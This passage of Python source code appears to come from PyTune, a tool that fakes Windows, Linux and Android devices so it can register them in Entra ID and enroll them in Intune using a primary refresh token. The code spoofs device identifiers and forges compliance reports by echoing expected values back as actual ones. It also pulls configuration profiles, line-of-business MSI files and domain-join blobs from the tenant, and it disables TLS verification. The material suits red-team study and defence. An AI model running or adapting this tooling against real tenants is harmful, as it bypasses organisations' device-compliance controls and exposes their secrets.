197 | f"./Device/DevDetail/Ext/Microsoft/IMEI": {
198 | "Format": "chr",
199 | "Data": "00000000000000"
200 | },
201 | f"./Device/DevDetail/Ext/Microsoft/SerialNumber": {
202 | "Format": "chr",
203 | "Data": "PYTUNE"
204 | },
205 | f"./Device/DevDetail/Ext/Microsoft/PNSType": {
206 | "Format": "chr",
207 | "Data": "FCM"
208 | },
209 | f"./Device/Vendor/MSFT/GCM/774944887730/ChannelStatus": {
210 | "Format": "chr",
211 | "Data": None
212 | },
213 | f"./Device/Vendor/MSFT/GCM/774944887730/Channel": {
214 | "Format": "chr",
215 | "Data": None
216 | },
217 | f"./Device/Vendor/MSFT/FCM/InstanceId": {
218 | "Format": "chr",
219 | "Data": "abc-abcdef"
220 | },
221 | f"./Device/DevInfo/Lang": {
222 | "Format": "chr",
223 | "Data": "en-US"
224 | },
225 | f"./Device/Vendor/MSFT/GooglePlayServices/IsAvailable": {
226 | "Format": "bool",
227 | "Data": "true"
228 | },
229 | f"./Device/Vendor/MSFT/DeviceLock/DevicePolicyManager/IsSecurityProvidersUpdated": {
230 | "Format": "bool",
231 | "Data": "true"
232 | },
233 | f"./User/{self.uid}/Vendor/MSFT/EnterpriseAppManagement/EnterpriseIDs": {
234 | "Format": "chr",
235 | "Data": self.tenant
236 | },
237 | f"./User/{self.uid}/Vendor/MSFT/Scheduler/IntervalDurationSeconds": {
238 | "Format": "int",
239 | "Data": "28800"
240 | },
241 | f"./Device/DevDetail/Ext/Microsoft/OSPlatform": {
242 | "Format": "chr",
243 | "Data": self.os
244 | },
245 | f"./Device/Vendor/MSFT/DeviceInformation/Version": {
246 | "Format": "chr",
247 | "Data": self.os_version
248 | },
249 | f"./Device/DevDetail/Ext/Microsoft/ICCID": {
250 | "Format": "chr",
251 | "Data": "89014103211118510720"
252 | },
253 | f"./Device/DevDetail/Ext/Microsoft/CommercializationOperator": {
254 | "Format": "chr",
255 | "Data": self.os
256 | },
257 | f"./Device/Vendor/MSFT/DeviceInformation/IsDeviceRooted": {
258 | "Format": "int",
259 | "Data": "0"
260 | },
261 | f"./Device/DevDetail/Ext/Microsoft/CellularTechnology": {
262 | "Format": "chr",
263 | "Data": "GSM"
264 | },
265 | f"./Device/DevDetail/FwV": {
266 | "Format": "chr",
267 | "Data": "unknown"
268 | },
269 | f"./Device/DevDetail/Ext/Microsoft/WifiMac": {
270 | "Format": "chr",
271 | "Data": "02:00:00:44:55:66"
272 | },
273 | f"./Device/Vendor/MSFT/DeviceLock/DevicePolicyManager/IsAndroidSecurityLevelPatched": {
274 | "Format": "chr",
275 | "Data": "2018-01-05"
276 | },
277 | f"./Device/DevDetail/Ext/Microsoft/BuildNumber": {
278 | "Format": "chr",
279 | "Data": "OSM1.180201.007"
280 | },
281 | f"./Device/Vendor/MSFT/DeviceLock/DevicePolicyManager/StorageEncryptionStatus": {
282 | "Format": "int",
283 | "Data": "5"
284 | },
285 | f"./User/{self.uid}/Vendor/MSFT/EnterpriseAppManagement/EnterpriseApps/ManagedInventory": {
286 | "Format": "node",
287 | "Data": "android/com.android.backupconfirm/com.android.bips/com.android.bookmarkprovider/com.android.calllogbackup/com.android.captiveportallogin/com.android.carrierconfig/com.android.cellbroadcastreceiver/com.android.certinstaller/com.android.companiondevicemanager/com.android.contacts/com.android.cts.ctsshim/com.android.cts.priv.ctsshim/com.android.defcontainer/com.android.documentsui/com.android.dreams.basic/com.android.egg/com.android.emulator.smoketests/com.android.externalstorage/com.android.htmlviewer/com.android.inputdevices/com.android.keychain/com.android.location.fused/com.android.managedprovisioning/com.android.mms.service/com.android.mtp/com.android.pacprocessor/com.android.phone/com.android.printspooler/com.android.protips/com.android.providers.blockednumber/com.android.providers.calendar/com.android.providers.contacts/com.android.providers.downloads/com.android.providers.downloads.ui/com.android.providers.media/com.android.providers.partnerbookmarks/com.android.providers.settings/com.android.providers.telephony/com.android.providers.userdictionary/com.android.proxyhandler/com.android.server.telecom/com.android.settings/com.android.sharedstoragebackup/com.android.shell/com.android.statementservice/com.android.storagemanager/com.android.systemui/com.android.systemui.theme.dark/com.android.vending/com.android.vpndialogs/com.android.wallpaper.livepicker/com.android.wallpaperbackup/com.breel.geswallpapers/com.example.android.livecubes/com.example.android.softkeyboard/com.google.android.apps.nexuslauncher/com.google.android.apps.wallpaper.nexus/com.google.android.backuptransport/com.google.android.configupdater/com.google.android.ext.services/com.google.android.ext.shared/com.google.android.feedback/com.google.android.gms/com.google.android.gsf/com.google.android.onetimeinitializer/com.google.android.packageinstaller/com.google.android.partnersetup/com.google.android.printservice.recommendation/com.google.android.sdksetup/com.google.android.setupwizard/com.google.android.syncadapters.contacts/com.google.android.tts/com.google.android.webview/com.microsoft.windowsintune.companyportal/com.ustwo.lwp/jp.co.omronsoft.openwnn"
288 | },
289 | f"./Device/DevInfo/DmV": {
290 | "Format": "chr",
291 | "Data": "1.0"
292 | },
293 | f"./Device/DevDetail/HwV": {
294 | "Format": "chr",
295 | "Data": "ranchu"
296 | },
297 | f"./Device/DevDetail/DevTyp": {
298 | "Format": "chr",
299 | "Data": "sdk_gphone_x86"
300 | },
301 | f"./Device/DevDetail/OEM": {
302 | "Format": "chr",
303 | "Data": "Google Android SDK built for x86"
304 | },
305 | f"./User/{self.uid}/Vendor/MSFT/DeviceLock/Provider/SCConfigMgr/MaxDevicePasswordFailedAttempts": {
306 | "Format": "int",
307 | "Data": "0"
308 | },
309 | f"./User/{self.uid}/Vendor/MSFT/DeviceLock/Provider/SCConfigMgr/MinDevicePasswordLength": {
310 | "Format": "int",
311 | "Data": "0"
312 | },
313 | f"./User/{self.uid}/Vendor/MSFT/DeviceLock/Provider/SCConfigMgr/DevicePasswordHistory": {
314 | "Format": "int",
315 | "Data": "0"
316 | },
317 | f"./User/{self.uid}/Vendor/MSFT/DeviceLock/Provider/SCConfigMgr/DevicePasswordEnabled": {
318 | "Format": "int",
319 | "Data": "1"
320 | },
321 | f"./User/{self.uid}/Vendor/MSFT/DeviceLock/Provider/SCConfigMgr/DevicePasswordExpiration": {
322 | "Format": "int",
323 | "Data": "0"
324 | },
325 | f"./User/{self.uid}/Vendor/MSFT/DeviceLock/Provider/SCConfigMgr/MaxInactivityTimeDeviceLock": {
326 | "Format": "int",
327 | "Data": "0"
328 | },
329 | f"./DevDetail/Ext/Microsoft/ProcessorArchitecture": {
330 | "Format": "chr",
331 | "Data": "x86"
332 | },
333 | f"./User/{self.uid}/Vendor/MSFT/WorkProfileLock/Provider/SCConfigMgr/ResetPasswordTokenStatus": {
334 | "Format": "chr",
335 | "Data": "Inactive"
336 | },
337 | f"./User/{self.uid}/Vendor/MSFT/WorkProfile/AuthTokenRenewal/Required": {
338 | "Format": "bool",
339 | "Data": "false"
340 | },
341 | f"./User/{self.uid}/Vendor/MSFT/WorkProfile/AuthTokenRenewal/EncryptedTokenRequired": {
342 | "Format": "bool",
343 | "Data": "false"
344 | },
345 | f"./Device/Vendor/MSFT/WorkplaceJoin/AADID": {
346 | "Format": "chr",
347 | "Data": self.deviceid
348 | },
349 | f"./User/{self.uid}/Vendor/MSFT/Scheduler/intervalDurationSeconds": {
350 | "Format": "int",
351 | "Data": "28800"
352 | },
353 | f"./Device/Vendor/MSFT/DeviceLock/DevicePolicyManager/IsActivePasswordSufficient": {
354 | "Format": "bool",
355 | "Data": "true"
356 | },
357 | }
358 | if key in data:
359 | return data[key]
360 | else:
361 | return None
--------------------------------------------------------------------------------
/device/device.py:
--------------------------------------------------------------------------------
1 | import os
2 | import re
3 | import jwt
4 | import uuid
5 | import struct
6 | import base64
7 | import requests
8 | import xmltodict
9 | import urllib.parse
10 | from abc import abstractmethod
11 | import xml.etree.ElementTree as ET
12 | from cryptography import x509
13 | from cryptography.hazmat.primitives.asymmetric import rsa
14 | from cryptography.hazmat.backends import default_backend
15 | from cryptography.x509.oid import NameOID
16 | from cryptography.hazmat.primitives import hashes, serialization
17 | from roadtools.roadlib.deviceauth import DeviceAuthentication
18 | from roadtools.roadlib.auth import Authentication
19 | from utils.utils import prtauth, renew_token, token_renewal_for_enrollment, create_pfx, extract_pfx
20 |
21 | class Device:
22 | def __init__(self, logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy):
23 | self.logger = logger
24 | self.os = os
25 | self.os_version = None
26 | self.ssp_version = None
27 | self.device_name = device_name
28 | self.deviceid = deviceid
29 | self.intune_deviceid = None
30 | self.uid = uid
31 | self.tenant = tenant
32 | self.prt = prt
33 | self.session_key = session_key
34 | self.checkin_url = None
35 | self.provider_name = None
36 | self.cname = None
37 | self.hwhash = None
38 | self.proxy = proxy
39 | self.device_auth = DeviceAuthentication()
40 | self.device_auth.proxies = proxy
41 | self.device_auth.verify = False
42 | self.device_auth.auth.proxies = proxy
43 | self.device_auth.auth.verify = False
44 |
45 | def entra_join(self, username, password, access_token, deviceticket):
46 | devicereg = 'urn:ms-drs:enterpriseregistration.windows.net'
47 | if access_token:
48 | claims = jwt.decode(access_token, options={"verify_signature":False}, algorithms=['RS256'])
49 | if claims['aud'] != devicereg:
50 | self.logger.info(f"wrong resource uri! {devicereg} is expected")
51 | return
52 | else:
53 | auth = Authentication(username=username, password=password)
54 | auth.resource_uri = devicereg
55 | auth.proxies = self.proxy
56 | auth.verify = False
57 | access_token = auth.authenticate_username_password()['accessToken']
58 |
59 | certpath = f'{self.device_name}_cert.pem'
60 | keypath = f'{self.device_name}_key.pem'
61 | self.device_auth.register_device(
62 | access_token=access_token,
63 | jointype=0, # 0 : join, 4 : register
64 | certout=certpath,
65 | privout=keypath,
66 | device_type=self.os,
67 | device_name=self.device_name,
68 | os_version=self.os_version,
69 | deviceticket=deviceticket
70 | )
71 |
72 | pfxpath = f'{self.device_name}.pfx'
73 | create_pfx(certpath, keypath, pfxpath)
74 |
75 | os.remove(certpath)
76 | os.remove(keypath)
77 | self.logger.success(f'successfully registered {self.device_name} to Entra ID!')
78 | self.logger.info(f'here is your device certificate: {pfxpath} (pw: password)')
79 | return
80 |
81 | def entra_delete(self, certpfx):
82 | certpath = f'device_cert.pem'
83 | keypath = f'device_key.pem'
84 | extract_pfx(certpfx, certpath, keypath)
85 |
86 | self.device_auth.loadcert(pemfile=certpath, privkeyfile=keypath)
87 | self.device_auth.delete_device(certpath, keypath)
88 |
89 | os.remove(certpath)
90 | os.remove(keypath)
91 | return
92 |
93 | def enroll_intune(self):
94 | access_token, refresh_token = prtauth(self.prt, self.session_key, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'https://graph.microsoft.com/', None, self.proxy)
95 | enrollment_url = self.get_enrollment_info(access_token, self.provider_name)
96 | self.logger.info(f"resolved enrollment url: {enrollment_url}")
97 |
98 | private_key = rsa.generate_private_key(
99 | public_exponent=65537,
100 | key_size=2048
101 | )
102 |
103 | csr_token = self.get_enrollment_token(refresh_token)
104 | csr_der = self.create_csr(private_key, self.cname)
105 |
106 | csr_pem = base64.b64encode(csr_der).decode('utf-8')
107 | try:
108 | response = self.send_enroll_request(enrollment_url, csr_pem, csr_token, None)
109 | except:
110 | self.logger.error('device enroolemt failed. maybe enrollment restriction?')
111 | return
112 |
113 | my_cert = self.parse_enroll_response(response)
114 | if my_cert == None:
115 | self.logger.error(f'certificate signing request failed. retry later')
116 | return
117 |
118 | pfxpath = f'{self.device_name}_mdm.pfx'
119 | self.save_mdm_certs(private_key, my_cert, pfxpath)
120 | self.logger.success(f'successfully enrolled {self.device_name} to Intune!')
121 | self.logger.info(f'here is your MDM pfx: {pfxpath} (pw: password)')
122 | return
123 |
124 | @abstractmethod
125 | def get_enrollment_token(self, refresh_token):
126 | pass
127 |
128 | def get_enrollment_info(self, access_token, provider_name):
129 | response = requests.get(
130 | "https://graph.microsoft.com/v1.0/myorganization/servicePrincipals/appId=0000000a-0000-0000-c000-000000000000/endpoints",
131 | headers={"Authorization": f"Bearer {access_token}"},
132 | proxies=self.proxy,
133 | verify=False
134 | )
135 |
136 | for value in response.json()['value']:
137 | if value['providerName'] == provider_name:
138 | return value['uri']
139 |
140 | return None
141 |
142 | @abstractmethod
143 | def send_enroll_request(self, enrollment_url, access_token_b64, csr_pem, ztdregistrationid):
144 | pass
145 |
146 | def extract_profiles(self, cmds):
147 | profiles = []
148 | if 'Add' not in cmds:
149 | return profiles
150 | excluded_keys = ['FakePolicy', 'EntDMID', 'ResetPasswordToken']
151 | for cmd in cmds['Add']:
152 | locuri = cmd['Item']['Target']['LocURI']
153 | is_excluded = False
154 | for excluded_key in excluded_keys:
155 | if excluded_key in locuri:
156 | is_excluded = True
157 |
158 | if is_excluded == False and 'Data' in cmd['Item']:
159 | profiles.append({'LocURI': locuri, 'Data':cmd['Item']['Data']})
160 | return profiles
161 |
162 | def extract_msi_url(self, cmds):
163 | urls = []
164 | if 'Exec' not in cmds:
165 | return urls
166 | for cmd in cmds['Exec']:
167 | locuri = cmd['Item']['Target']['LocURI']
168 | if 'DownloadInstall' in locuri:
169 | xml = cmd['Item']['Data']
170 | start = xml.find('') + len('')
171 | end = xml.find('')
172 | url = xml[start:end].strip()
173 | if 'IntuneWindowsAgent.msi' not in url:
174 | urls.append(url.replace('&', '&'))
175 | return urls
176 |
177 | def extract_odjblob(self, cmds):
178 | if 'Exec' not in cmds:
179 | return None
180 | for cmd in cmds['Exec']:
181 | locuri = cmd['Item']['Target']['LocURI']
182 | if locuri == './Vendor/MSFT/OfflineDomainJoin/Blob':
183 | return cmd['Item']['Data']
184 | return None
185 |
186 | def print_djoinblob(self, djoin_encoded):
187 | djoinblob = base64.b64decode(djoin_encoded)
188 |
189 | chars=''
190 | for b in djoinblob:
191 | if b == 0:
192 | continue
193 | elif 32<= b <= 126:
194 | chars+=chr(b)
195 | else:
196 | chars+=' '
197 |
198 | def get_str_and_next(blob, start):
199 | str_size = (struct.unpack(' 0:
278 | self.logger.alert(f'maybe these are configuration profiles:')
279 | for profile in profiles:
280 | if 'WlanXml' in profile["LocURI"]:
281 | print(f'- {profile["LocURI"]}:')
282 | print(xmltodict.parse(profile["Data"]))
283 | else:
284 | print(f'- {profile["LocURI"]}: {profile["Data"]}')
285 |
286 | if len(msi_urls):
287 | self.logger.alert(f'we found line-of-business app...')
288 | for msi_url in msi_urls:
289 | self.logger.info(f'downloading msi file from {msi_url}')
290 | self.download_msi(msi_url, certpath, keypath)
291 |
292 |
293 | if odjblob:
294 | self.logger.success(f'got online domain join blob')
295 | self.print_djoinblob(odjblob)
296 |
297 | os.remove(certpath)
298 | os.remove(keypath)
299 | return
300 |
301 | def check_compliant(self):
302 | access_token, refresh_token = prtauth(self.prt, self.session_key, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'https://graph.microsoft.com/', None, self.proxy)
303 | iwservice_url = self.get_enrollment_info(access_token, 'IWService')
304 | self.logger.info(f"resolved IWservice url: {iwservice_url}")
305 | token_renewal_url = self.get_enrollment_info(access_token, 'TokenRenewalService')
306 | self.logger.info(f"resolved token renewal url: {token_renewal_url}")
307 | renewal_token = renew_token(refresh_token, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'd4ebce55-015a-49b5-a083-c84d1797ae8c/.default openid offline_access profile', self.proxy)
308 | enrollment_token = token_renewal_for_enrollment(token_renewal_url, renewal_token, self.proxy)
309 |
310 | device_name = self.get_device_info(iwservice_url, enrollment_token, 'OfficialName')
311 | state = self.get_device_info(iwservice_url, enrollment_token, 'ComplianceState')
312 | if state == 'Compliant':
313 | self.logger.success(f'{device_name} is compliant!')
314 | return
315 |
316 | self.logger.error(f'{device_name} is not compliant')
317 | reasons = self.get_device_info(iwservice_url, enrollment_token, 'NoncompliantRules')
318 | if reasons == None:
319 | self.logger.info(f'maybe device is already retired or not enrolled yet')
320 | return
321 |
322 | i = 1
323 | for reason in reasons:
324 | self.logger.alert(f'non-compliant reason #{i}:')
325 | print(f' - SettingID: {reason["SettingID"]}')
326 | print(f' - Title: {reason["Title"]}')
327 | if "ExpectedValue" in reason:
328 | print(f' - ExpectedValue: {reason["ExpectedValue"]}')
329 | print(f' - Description: {reason["Description"]}')
330 | i = i+1
331 |
332 | return
333 |
334 | def retire_intune(self):
335 | access_token, refresh_token = prtauth(self.prt, self.session_key, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'https://graph.microsoft.com/', None, self.proxy)
336 | iwservice_url = self.get_enrollment_info(access_token, 'IWService')
337 | self.logger.info(f"resolved IWservice url: {iwservice_url}")
338 | token_renewal_url = self.get_enrollment_info(access_token, 'TokenRenewalService')
339 | self.logger.info(f"resolved token renewal url: {token_renewal_url}")
340 |
341 | renewal_token = renew_token(refresh_token, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'd4ebce55-015a-49b5-a083-c84d1797ae8c/.default openid offline_access profile', self.proxy)
342 | enrollment_token = token_renewal_for_enrollment(token_renewal_url, renewal_token, self.proxy)
343 |
344 | retire_info = self.get_device_info(iwservice_url, enrollment_token, '#CommonContainer.Retire')
345 | if retire_info == None:
346 | retire_info = self.get_device_info(iwservice_url, enrollment_token, '#CommonContainer.FullWipe')
347 |
348 | if retire_info == None:
349 | self.logger.info(f'maybe this device is not enrolled or already retired')
350 | return
351 |
352 | retire_url = retire_info['target']
353 | self.logger.info(f"resolved reitrement url: {retire_url}")
354 |
355 | result = self.send_retire_request(retire_url, enrollment_token)
356 | if result == True:
357 | self.logger.success(f"successfully retired: {self.deviceid}")
358 | else:
359 | self.logger.error(f'failed to retire the device')
360 | return
361 |
362 | def send_retire_request(self, retire_url, access_token):
363 | response = requests.post(
364 | url=f"{retire_url}?api-version=16.4&ssp={self.os}SSP&ssp-version={self.ssp_version}&os={self.os}&os-version={self.os_version}&os-sub=None&arch=ARM&mgmt-agent=Mdm",
365 | headers={"Authorization": f"Bearer {access_token}"},
366 | proxies=self.proxy,
367 | verify=False
368 | )
369 |
370 | if response.status_code == 204:
371 | return True
372 | return False
373 |
374 | def get_device_info(self, iwservice_url, access_token, key):
375 | response = requests.get(
376 | url=f"{iwservice_url}/Devices?api-version=16.4&ssp={self.os}SSP&ssp-version={self.ssp_version}&os={self.os}&os-version={self.os_version}&os-sub=None&arch=ARM&mgmt-agent=Mdm",
377 | headers={"Authorization": f"Bearer {access_token}"},
378 | proxies=self.proxy,
379 | verify=False
380 | )
381 |
382 | for value in response.json()['value']:
383 | if value['AadId'] == self.deviceid:
384 | if key in value:
385 | return value[key]
386 | return None
387 |
388 | @abstractmethod
389 | def get_syncml_data(self, key):
390 | pass
391 |
392 | def parse_omadm_cmd(self, input, results):
393 | for omadm_cmd in results.keys():
394 | if omadm_cmd in input:
395 | if omadm_cmd == 'Atomic' or omadm_cmd == 'Sequence':
396 | if isinstance(input[omadm_cmd], list):
397 | for multicmd in input[omadm_cmd]:
398 | results[omadm_cmd].append({"CmdID": multicmd['CmdID']})
399 | results = self.parse_omadm_cmd(multicmd, results)
400 | else:
401 | results[omadm_cmd].append({"CmdID": input[omadm_cmd]['CmdID']})
402 | results = self.parse_omadm_cmd(input[omadm_cmd], results)
403 | else:
404 | if isinstance(input[omadm_cmd], list):
405 | results[omadm_cmd].extend(input[omadm_cmd])
406 | else:
407 | results[omadm_cmd].append(input[omadm_cmd])
408 | return results
409 |
410 | def parse_syncml(self, xml_data):
411 | parsed_dict = xmltodict.parse(xml_data)
412 | syncml_data = parsed_dict['SyncML']
413 | sync_body = syncml_data['SyncBody']
414 | results = {'Get':[], 'Atomic':[], 'Add':[], 'Replace':[], 'Exec':[], 'Sequence':[], 'Delete':[]}
415 | results = self.parse_omadm_cmd(sync_body, results)
416 |
417 | cmdlen = 0
418 | for omadm_cmd in results.keys():
419 | cmdlen += len(results[omadm_cmd])
420 |
421 | if cmdlen == 0:
422 | return None
423 | else:
424 | return results
425 |
426 | def generate_syncml_header(self, msgid, sessionid, imei):
427 | syncml_template = {
428 | "SyncML": {
429 | "@xmlns": "SYNCML:SYNCML1.2",
430 | "SyncHdr": {
431 | "VerDTD": "1.2",
432 | "VerProto": "DM/1.2",
433 | "SessionID": f"{str(sessionid)}",
434 | "MsgID": f"{str(msgid)}",
435 | "Target": {
436 | "LocURI": self.checkin_url
437 | },
438 | "Source": {"LocURI": f"imei:{imei}"}
439 | },
440 | "SyncBody": {}
441 | }
442 | }
443 | return syncml_template
444 |
445 | def generate_initial_syncml(self, sessionid, imei):
446 | pass
447 |
448 | def generate_syncml_response(self, msgid, sessionid, imei, cmds):
449 |
450 | syncml_data = self.generate_syncml_header(msgid, sessionid, imei)
451 | msgref = msgid - 1
452 | syncml_data["SyncML"]["SyncBody"] = {
453 | "Status": [
454 | {
455 | "CmdID": "1",
456 | "MsgRef": str(msgref),
457 | "CmdRef": "0",
458 | "Cmd": "SyncHdr",
459 | "Data": "200",
460 | },
461 | {
462 | "CmdID": "3",
463 | "MsgRef": str(msgref),
464 | "CmdRef": "1",
465 | "Cmd": "Status",
466 | "Data": "200",
467 | }
468 | ],
469 | "Results":[],
470 | "Final": None,
471 | }
472 |
473 | cmdid = 8
474 | for cmd_type in cmds:
475 | for cmd in cmds[cmd_type]:
476 | status = {
477 | "CmdID": str(cmdid),
478 | "MsgRef": str(msgref),
479 | "CmdRef": cmd["CmdID"],
480 | "Cmd": cmd_type,
481 | "Data": "200"
482 | }
483 | if cmd_type == 'Get':
484 | locuri = cmd["Item"]["Target"]["LocURI"]
485 | data = self.get_syncml_data(locuri)
486 | if data:
487 | print(f' [*] sending data for {locuri}')
488 | result = {
489 | "CmdID": str(cmdid+1),
490 | "MsgRef": str(msgref),
491 | "CmdRef": cmd["CmdID"],
492 | "Item": {
493 | "Source": {
494 | "LocURI": locuri
495 | },
496 | "Meta": {
497 | "Format": {"@xmlns": "syncml:metinf", "#text": data["Format"]}
498 | },
499 | "Data": data["Data"],
500 | }
501 | }
502 | syncml_data["SyncML"]["SyncBody"]["Results"].append(result)
503 | else:
504 | status["Data"] = "404"
505 | print(f' [*] no data found for {locuri}')
506 | cmdid += 2
507 | else:
508 | cmdid += 1
509 | syncml_data["SyncML"]["SyncBody"]["Status"].append(status)
510 |
511 |
512 | return xmltodict.unparse(syncml_data, pretty=False)
513 |
514 | def send_syncml(self, data, certpath, keypath):
515 | response = requests.post(
516 | url=self.checkin_url,
517 | data=data,
518 | headers={'User-Agent': f'MSFT {self.os} OMA DM Client/2.7' , 'Content-Type': 'application/vnd.syncml.dm+xml'},
519 | verify=False,
520 | cert=(certpath, keypath)
521 | )
522 | return response.content
523 |
524 | def create_csr(self, private_key, cname):
525 | csr_subject = x509.Name([
526 | x509.NameAttribute(NameOID.COMMON_NAME, cname)
527 | ])
528 |
529 | csr_builder = x509.CertificateSigningRequestBuilder().subject_name(csr_subject)
530 | csr = csr_builder.sign(private_key, hashes.SHA256(), default_backend())
531 | der_csr = csr.public_bytes(encoding=serialization.Encoding.DER)
532 | return der_csr
533 |
534 | def parse_enroll_response(self, xml_security_token):
535 | xml = ET.fromstring(xml_security_token)
536 | certpath = 'characteristic/characteristic/characteristic/characteristic/parm'
537 | my_cert = xml.findall(certpath)[2].attrib['value']
538 | return my_cert
539 |
540 | def save_mdm_certs(self, private_key, my_cert, pfxpath):
541 | cert = x509.load_der_x509_certificate(base64.b64decode(my_cert), default_backend())
542 | pfx = serialization.pkcs12.serialize_key_and_certificates(
543 | pfxpath.encode('utf-8'),
544 | private_key,
545 | cert,
546 | None,
547 | serialization.BestAvailableEncryption(b"password")
548 | )
549 |
550 | with open(pfxpath, 'wb') as outfile:
551 | outfile.write(pfx)
552 |
553 | return
554 |
--------------------------------------------------------------------------------
/device/linux.py:
--------------------------------------------------------------------------------
1 | import os
2 | import base64
3 | import requests
4 | from datetime import datetime
5 | from cryptography import x509
6 | from device.device import Device
7 | from cryptography.hazmat.backends import default_backend
8 | from utils.utils import prtauth, renew_token, extract_pfx
9 |
10 | class Linux(Device):
11 | def __init__(self, logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy):
12 | super().__init__(logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy)
13 | self.os_version = '22.04'
14 | self.ssp_version = '1.2312.35'
15 | self.checkin_url = None
16 | self.provider_name = 'LinuxEnrollmentService'
17 | self.cname = self.device_name
18 |
19 | def get_enrollment_token(self, refresh_token):
20 | return renew_token(refresh_token, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'openid offline_access profile d4ebce55-015a-49b5-a083-c84d1797ae8c/.default', self.proxy)
21 |
22 | def send_enroll_request(self, enrollment_url, csr_pem, csr_token, ztdregistrationid):
23 | data = {
24 | "CertificateSigningRequest": f"-----BEGIN CERTIFICATE REQUEST-----\n{csr_pem}\n-----END CERTIFICATE REQUEST-----\n",
25 | "AppVersion": "0.0.0",
26 | "DeviceName": self.device_name
27 | }
28 |
29 | response = requests.post(
30 | url=f'{enrollment_url}/enroll?api-version=1.0',
31 | json=data,
32 | headers= {'Authorization': f'Bearer {csr_token}'},
33 | proxies=self.proxy,
34 | verify=False
35 | )
36 |
37 | return response.json()
38 |
39 | def parse_enroll_response(self, enroll_response):
40 | if 'certificate' in enroll_response:
41 | cert = enroll_response['certificate']['certBlob']
42 | return base64.b64encode(bytes(cert))
43 | else:
44 | return None
45 |
46 | def exchange_devdetails(self, access_token):
47 | data = {
48 | "DeviceId":self.intune_deviceid,
49 | "DeviceName":self.device_name,
50 | "Manufacturer":"VMware, Inc.",
51 | "OSDistribution":"Ubuntu",
52 | "OSVersion":self.os_version
53 | }
54 |
55 | response = requests.post(
56 | url=f'{self.checkin_url}/details?api-version=1.0',
57 | json=data,
58 | headers= {'Authorization': f'Bearer {access_token}'},
59 | )
60 |
61 | if 'deviceFriendlyName' not in response.json():
62 | return False
63 | return True
64 |
65 | def fetch_policies(self, access_token):
66 | response = requests.get(
67 | url=f'{self.checkin_url}/policies/{self.intune_deviceid}?api-version=1.0',
68 | headers={'Authorization': 'Bearer {}'.format(access_token)},
69 | )
70 |
71 | return response.json()['policies']
72 |
73 | def report_policy_status(self, access_token, policies):
74 | current_time = datetime.now()
75 | formatted_time = current_time.strftime('%Y-%m-%dT%H:%M:%S')
76 |
77 | statuses = []
78 | if len(policies) != 0:
79 | for policy in policies:
80 | details = []
81 | for setting in policy['policySettings']:
82 | details.append({
83 | "RuleId":setting["ruleId"],
84 | "SettingDefinitionItemId":setting["settingDefinitionItemId"],
85 | "ExpectedValue":setting["value"],
86 | "ActualValue":setting["value"],
87 | "NewComplianceState":"Compliant",
88 | "OldComplianceState":"Unknown"
89 | })
90 | statuses.append({
91 | "PolicyId":policy["policyId"],
92 | "LastStatusDateTime":f'{formatted_time}-08:00',
93 | "Details":details
94 | })
95 |
96 | data = {
97 | "DeviceId":self.intune_deviceid,
98 | "PolicyStatuses":statuses
99 | }
100 |
101 | response = requests.post(
102 | url=f'{self.checkin_url}/status?api-version=1.0',
103 | json=data,
104 | headers={'Authorization': 'Bearer {}'.format(access_token)},
105 | )
106 | return
107 |
108 | def checkin(self, mdmpfx):
109 | access_token, refresh_token = prtauth(self.prt, self.session_key, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'https://graph.microsoft.com/', None)
110 | self.checkin_url = self.get_enrollment_info(access_token, 'LinuxDeviceCheckinService')
111 | self.logger.info(f"resolved checkin url: {self.checkin_url}")
112 |
113 | access_token = renew_token(refresh_token, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', '0000000a-0000-0000-c000-000000000000/.default openid offline_access profile')
114 |
115 | certpath = 'pytune_mdm.crt'
116 | keypath = 'pytune_mdm.key'
117 | extract_pfx(mdmpfx, certpath, keypath)
118 | with open(certpath, 'rb') as cert_file:
119 | cert_data = cert_file.read()
120 | os.remove(certpath)
121 | os.remove(keypath)
122 |
123 | cert = x509.load_pem_x509_certificate(cert_data, default_backend())
124 | common_name = cert.subject.get_attributes_for_oid(x509.NameOID.COMMON_NAME)
125 | self.intune_deviceid = common_name[0].value
126 |
127 | if self.exchange_devdetails(access_token) is False:
128 | self.logger.alert('device may be already retired')
129 | return
130 |
131 | policies = self.fetch_policies(access_token)
132 | if len(policies) == 0:
133 | self.logger.info('no policies are assigned to this device')
134 | else:
135 | self.logger.success('compliance policy found!')
136 | i = 1
137 | for policy in policies:
138 | self.logger.alert(f'compliance policy #{i}:')
139 | for setting in policy['policySettings']:
140 | print(f' - item : {setting["settingDefinitionItemId"]}')
141 | print(f' - expected value : {setting["value"]}')
142 | i = i+1
143 |
144 | self.report_policy_status(access_token, policies)
145 |
146 | self.logger.info('checkin ended!')
147 |
148 | return
--------------------------------------------------------------------------------
/device/windows.py:
--------------------------------------------------------------------------------
1 | import os
2 | import io
3 | import jwt
4 | import base64
5 | import gzip
6 | import struct
7 | import requests
8 | import uuid
9 | import json
10 | import xmltodict
11 | import xml.etree.ElementTree as ET
12 | from datetime import datetime, timedelta, timezone
13 | from device.device import Device
14 | from utils.utils import prtauth, extract_pfx, save_encrypted_message_as_smime, decrypt_smime_file, aes_decrypt
15 | from cryptography import x509
16 | from cryptography.hazmat.backends import default_backend
17 | from cryptography.hazmat.primitives.serialization import Encoding
18 |
19 |
20 | class Windows(Device):
21 | def __init__(self, logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy):
22 | super().__init__(logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy)
23 | self.os_version = '10.0.19045.2006'
24 | self.ssp_version = self.os_version
25 | self.checkin_url = 'https://r.manage.microsoft.com/devicegatewayproxy/cimhandler.ashx'
26 | self.provider_name = 'WindowsEnrollment'
27 | self.cname = 'ConfigMgrEnroll'
28 |
29 | def get_enrollment_token(self, refresh_token):
30 | access_token, refresh_token = prtauth(
31 | self.prt, self.session_key, '29d9ed98-a469-4536-ade2-f981bc1d605e', 'https://enrollment.manage.microsoft.com/', 'ms-aadj-redir://auth/mdm', self.proxy
